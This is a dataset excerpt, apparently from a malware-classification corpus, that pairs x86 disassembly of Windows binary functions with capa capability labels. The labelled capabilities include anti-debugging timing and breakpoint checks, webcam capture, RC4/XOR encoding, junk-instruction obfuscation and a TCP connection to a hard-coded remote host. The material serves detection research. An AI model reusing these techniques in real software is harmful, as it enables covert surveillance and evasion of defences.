joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4eca20
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x55d4f8
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push ebp
mov ebp, dword [esp + 0x30]
push esi
mov ebx, ecx
push edi
mov esi, dword [ebp]
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x10]
dec ecx
cmp eax, ecx
jge 0x4eca59
inc eax
mov dword [esi + 0x10], eax
jmp 0x4ecb6c
mov eax, dword [ebx + 0x3c]
mov ecx, dword [esi + 8]
cmp ecx, eax
jne 0x4eca6d
mov eax, 0xffffffc7
jmp 0x4ecb6e
mov esi, dword [esi]
mov edx, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp edx, ecx
jl 0x4eca7e
cmp dword [esi + 8], eax
jne 0x4eca6d
cmp dword [esi + 8], eax
jne 0x4eca97
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp eax, ecx
jl 0x4eca97
mov eax, 0xffffffc7
jmp 0x4ecb6e
mov eax, dword [esi + 4]
xor edi, edi
cmp eax, edi
je 0x4ecaab
push eax
mov ecx, ebx
call fcn.004ec250
mov dword [esi + 4], edi
mov dword [ebp], esi
mov ecx, dword [esi + 0x10]
inc ecx
mov dword [esi + 0x10], ecx
lea ecx, [esp + 0x10]
call fcn.004b38a0
mov dword [esp + 0x2c], edi
mov edi, dword [esp + 0x3c]
test edi, edi
jne 0x4ecadc
mov ecx, dword [ebx + 4]
mov edx, dword [ecx + 8]
lea ecx, [esp + 0x10]
push edx
call fcn.004b38c0
mov edi, eax
mov eax, dword [esi + 8]
push edi
push eax
mov ecx, ebx
call fcn.004eb9c0
test eax, eax
mov dword [esp + 0x38], eax
je 0x4ecb0f
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0xd73c48
call fcn.004b3aa0
mov eax, dword [esp + 0x38]
jmp 0x4ecb6e
mov ecx, dword [esi + 0x10]
push ecx
push edi
mov ecx, ebx
call fcn.004ec880
mov dl, byte [edi]
and dl, 1
cmp dl, 1
jne 0x4ecb53
mov ecx, dword [esp + 0x34]
push ebp
push ecx
push edi
push eax
mov ecx, ebx
call fcn.004ec8a0
mov esi, eax
test esi, esi
jne 0x4ecb83
mov edx, dword [ebp]
push eax
push edi
mov ecx, ebx
mov dword [edx + 0x10], eax
call fcn.004ec880
mov cl, byte [edi]
and cl, 1
cmp cl, 1
je 0x4ecb25
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0xd73c48
call fcn.004b3aa0
xor eax, eax
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 0xc
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0xd73c48
call fcn.004b3aa0
mov eax, esi
jmp 0x4ecb6e

Function at 0x4efe60
Capabilities:
Create thread

Disassembly:
push ecx
cmp dword [ecx + 0xcc], 1
je 0x4efec0
mov eax, dword [ecx + 0x1c]
test eax, eax
je 0x4efec0
mov eax, dword [ecx + 0xb0]
test eax, eax
je 0x4efec0
push esi
mov edx, 5
mov esi, dword [ecx + 0xbc]
cmp esi, edx
pop esi
je 0x4efec0
mov dword [ecx + 0xb4], eax
mov dword [ecx + 0x94], 0
mov dword [ecx + 0xbc], edx
lea eax, [esp]
push eax
push 0
push ecx
push 0x4eff00
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ecx
ret
Function at 0x4fc3f0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x55db68
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
lea eax, [esp + 0xc]
mov ecx, dword [esi + 0x1c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
lea ecx, [esp + 0x20]
call fcn.005555df
mov eax, dword [esi + 0xd0]
lea edx, [esp + 0x1c]
push eax
push eax
push edx
mov dword [esp + 0x44], 0
call fcn.004fbd90
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x48]
add eax, 0x64
add esp, 0xc
add ecx, 0x64
mov dword [esp + 8], eax
lea eax, [esp + 4]
mov dword [esp + 4], ecx
push eax
lea ecx, [esp + 0x20]
call fcn.0055550d
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
push 1
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
lea eax, [edx + ecx + 1]
xor edx, edx
test eax, eax
setl dl
dec edx
mov ecx, esi
and eax, edx
push eax
push 0
push 0
call fcn.00551dcb
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 8]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
xor ecx, ecx
sar edx, 4
mov eax, edx
push 1
shr eax, 0x1f
lea eax, [edx + eax + 1]
test eax, eax
setl cl
dec ecx
and eax, ecx
mov ecx, esi
push eax
push 0
push 1
call fcn.00551dcb
push 1
push 0
push 0
mov ecx, esi
call fcn.00551d73
push 1
push 0
push 1
mov ecx, esi
call fcn.00551d73
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.00555651
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret

Function at 0x4fc570
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x55db88
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push 0
lea ecx, [esp + 0x20]
call fcn.005555df
push 0x3e8
lea eax, [esp + 0x20]
push 0x3e8
push eax
mov dword [esp + 0x44], 0
call fcn.004fbd90
mov ecx, dword [esi + 0x48]
mov eax, dword [esi + 0x4c]
add ecx, 0x64
add esp, 0xc
mov dword [esp + 4], ecx
lea ecx, [esp + 4]
add eax, 0x96
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], eax
call fcn.0055550d
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x14]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 4]
cmp dword [esp + 0x44], 1
jne 0x4fc634
cmp dword [esp + 0x40], 1
jne 0x4fc632
cmp ecx, eax
jge 0x4fc634
mov eax, ecx
cmp eax, 0xc8
jge 0x4fc640
mov eax, 0xc8
mov ecx, esi
mov dword [esi + 0xd0], eax
call fcn.004fc3f0
mov ecx, dword [esi + 0x1c]
push 1
push 0
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.00555651
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 8
Function at 0x4fcdc0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x55dbf3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.005501eb
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], vtable.CBrush.0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.00555887
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.00556ee0
test eax, eax
je 0x4fcedc
mov ecx, dword [esp + 0x3c]
call fcn.005558b4
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x4fcea0
push edi
mov ecx, esi
call fcn.00552f17
mov ecx, esi
call fcn.004fd040
cmp dword [esp + 0x38], 1
jne 0x4fced5
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.00553052
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x4ff900
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x4ff933
push esi
call fcn.0050db20
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x4ff92c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x4ff9b9
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x4ff9a2
mov eax, dword [esi + 8]
test eax, eax
je 0x4ff957
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x4ff99e
cmp eax, 2
je 0x4ff9a2
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x4ff94a
cmp eax, 3
je 0x4ff97d
cmp eax, 1
jne 0x4ff94a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x4ff94a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x4ff94a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.004ff9e0
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x4ff9c8
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.004ff9e0
add esp, 4
pop esi
ret

Function at 0x500260
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x500281
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x500281
mov eax, dword [eax + 0x44]
test eax, eax
je 0x500281
mov edx, dword [esp + 8]
push edx
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x51d8e0
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
sub esp, 0x15c
mov eax, dword [esp + 0x160]
push ebx
push ebp
push esi
push edi
push eax
lea ecx, [esp + 0x38]
push str._Msg0001_4__Msg0001__s
push ecx
call fcn.0053f64f
lea edi, [esp + 0x40]
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [0xd98670]
repne scasb al, byte es:[edi]
mov eax, dword [str.0001]
mov dword [esp + 0x2c], edx
not ecx
dec ecx
mov dword [esp + 0x30], eax
mov ebx, ecx
mov dword [esp + 0x38], 0
mov dword [esp + 0x34], ebx
mov dword [esp + 0x3c], ebx
lea eax, [ebx + 0x14]
push eax
mov dword [esp + 0x20], eax
call fcn.0053e437
mov ebp, eax
mov ecx, 5
lea esi, [esp + 0x30]
mov edi, ebp
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea esi, [esp + 0x44]
mov edx, ecx
lea edi, [ebp + 0x14]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
add esp, 0x10
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x174]
xor esi, esi
mov dword [esp + 0x14], esi
lea eax, [esp + 0x18]
lea ecx, [esp + 0x68]
push eax
push 0
push ecx
lea eax, [edi + 1]
push 0
push eax
mov dword [esp + 0x80], edi
mov dword [esp + 0x7c], 1
mov dword [esp + 0x2c], 0
mov dword [esp + 0x30], 0x186a0
call sub.WS2_32.dll_select
test eax, eax
jl 0x51d9f0
je 0x51d9e2
lea edx, [esp + 0x68]
push edx
push edi
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x51d9e2
mov ebx, dword [esp + 0x10]
add ebp, esi
sub ebx, esi
push 0
push ebx
push ebp
push edi
mov dword [esp + 0x20], ebx
call sub.WS2_32.dll_send
mov esi, eax
test esi, esi
jl 0x51d9f0
cmp esi, ebx
jge 0x51d9f0
mov eax, dword [esp + 0x14]
inc eax
cmp eax, 0xa
mov dword [esp + 0x14], eax
jl 0x51d977
push ebp
call fcn.0053e34e
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x15c
ret

Function at 0x51e9d0
Capabilities:
Capture webcam image

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, ecx
mov eax, dword [eax + 4]
cmp dword [esi + 0xec], 1
jne 0x51ea73
test eax, eax
jbe 0x51ea73
mov ecx, dword [esi + 0xbc]
test ecx, ecx
jle 0x51ea73
mov ecx, dword [esi + 0x1c]
push edi
push 0
push eax
push 0x419
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
mov eax, dword [esi + 0xbc]
inc edi
test eax, eax
jne 0x51ea1e
xor esi, esi
jmp 0x51ea24
mov esi, dword [esi + 0xb4]
add esi, 4
xor ebx, ebx
test edi, edi
jbe 0x51ea4f
push ebp
mov ebp, edi
add esi, 6
push esi
call fcn.004b42d0
add esi, eax
push esi
mov ebx, esi
call fcn.004b42d0
add esp, 8
add esi, eax
dec edi
dec ebp
jne 0x51ea30
pop ebp
test edi, edi
pop edi
jne 0x51ea73
test ebx, ebx
je 0x51ea73
mov edx, dword [esp + 0x10]
push 0x4e
add edx, 0x10
push ebx
push edx
call fcn.0053e250
add esp, 0xc
mov eax, 1
pop esi
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc
Function at 0x51eb95
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x51ecad
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x51ecad
mov eax, dword [esi + 0x3c]
push eax
call fcn.0055063d
mov esi, eax
test esi, esi
je 0x51ecad
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x51ecad
mov ecx, esi
call fcn.0051eb20
cmp edi, eax
jge 0x51ecad
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x51ec33
mov dword [esp + 0x34], 1
jmp 0x51ec8e
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x51ecad
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.0051e100
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc

Function at 0x520a20
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x520a86
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x520a86
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x520a67
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret

Function at 0x520e10
Capabilities:
Create http request

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x520e48
mov edx, dword [esi + 4]
xor eax, eax
push 0
push 0
mov ecx, dword [edx - 8]
test ecx, ecx
setne al
mov ecx, eax
neg ecx
sbb ecx, ecx
and ecx, edx
neg eax
sbb eax, eax
push ecx
and eax, 2
inc eax
push eax
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.0_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esi], eax
mov ecx, dword [esi]
xor eax, eax
test ecx, ecx
setne al
pop esi
ret
Function at 0x521a70
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x521ab9
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x521f30
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x55e350
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.00521ae0
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.00521b60
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.00521b60
lea ecx, [esi + 0xc]
call fcn.0054eb9b
lea ecx, [esi + 0x10]
call fcn.0054eb9b
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.005230c0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.005230c0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.005230c0
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.0054ec10
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.0054ec10
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x5289e0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0xdead54]
xor edx, edx
cmp eax, edx
jne 0x528a06
xor eax, eax
mov byte [eax + 0xdeac54], al
inc eax
cmp eax, 0x100
jl 0x5289ee
mov dword [0xdead54], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0xdeac54
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x528a97
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x528a6a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x528a38
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x528aa0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x528af3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x528ada
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x52f4a0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x55e82e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.0052fdc0
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0xd7b914
call fcn.0054e951
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x52f533
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.0054e951
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x52f52c
push 0
mov ecx, eax
call fcn.00526610
mov dword [esi + 0xc], eax
jmp 0x52f535
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x52f535
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8
Function at 0x550fe1
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x551019
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0054f06b
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0054f043
jmp 0x551025
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x5526cf
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x552711
call fcn.00558591
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x552711
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x552708
xor eax, eax
jmp 0x552719
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0055271f
pop edi
pop esi
pop ebx
ret 4

Function at 0x558ac1
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x558aef
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x558b0d
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00558a27
jmp 0x558b0d
mov eax, dword [esi + 0x14]
test eax, eax
je 0x558b0d
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00558a27
test edi, edi
mov eax, edi
jne 0x558af7
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x401000
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
btr ebx, 0xf4
xadd eax, ebx
xchg ebx, eax
test eax, 0x534f82bb
sub bl, dl
mov eax, edx
xchg al, bl
mov al, cl
movzx ebx, bx
not bh
rcl ebx, 0x4b
or eax, 0x393eeb01
imul ebx, ebp, 0x5a429437
movzx eax, si
mov eax, 0xfc226531
test ebx, edx
sub bh, 0x82
test bl, al
bsr eax, ebp
shr ebx, 1
imul ebx, eax, 0xd815a07e
sbb al, 0x7b
test edi, edi
shl bl, cl
movsx ebx, dx
neg bl
bswap ebx
add ah, al
not eax
xadd bl, al
shrd ebx, eax, cl
movzx eax, cx
mov bl, 0x5d
imul ebx, esi, 0x9c792c83
neg ah
movzx ebx, dh
inc eax
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
test eax, eax
jge 0x401094
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x40108d
pop esi
pop ebx
pop ebp
ret
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
pop esi
pop ebx
pop ebp
ret

Function at 0x403fb0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
push 0
call edi
add esp, 4
mov word [ebp - 0x10], 2
push 0x1f9b
call dword [sym.imp.WS2_32.dll_htons]
push str.www.lankav.com
mov word [ebp - 0xe], ax
call fcn.00401000
add esp, 4
mov dword [ebp - 0xc], eax
btr ebx, 0xf4
xadd eax, ebx
xchg ebx, eax
test eax, 0x534f82bb
sub bl, dl
mov eax, edx
xchg al, bl
mov al, cl
movzx ebx, bx
not bh
rcl ebx, 0x4b
or eax, 0x393eeb01
imul ebx, ebp, 0x5a429437
movzx eax, si
mov eax, 0xfc226531
test ebx, edx
sub bh, 0x82
test bl, al
bsr eax, ebp
shr ebx, 1
imul ebx, eax, 0xd815a07e
sbb al, 0x7b
test edi, edi
shl bl, cl
movsx ebx, dx
neg bl
bswap ebx
add ah, al
not eax
xadd bl, al
shrd ebx, eax, cl
movzx eax, cx
mov bl, 0x5d
imul ebx, esi, 0x9c792c83
neg ah
movzx ebx, dh
inc eax
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0
mov esi, eax
call edi
add esp, 4
lea eax, [ebp - 0x10]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40408e
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret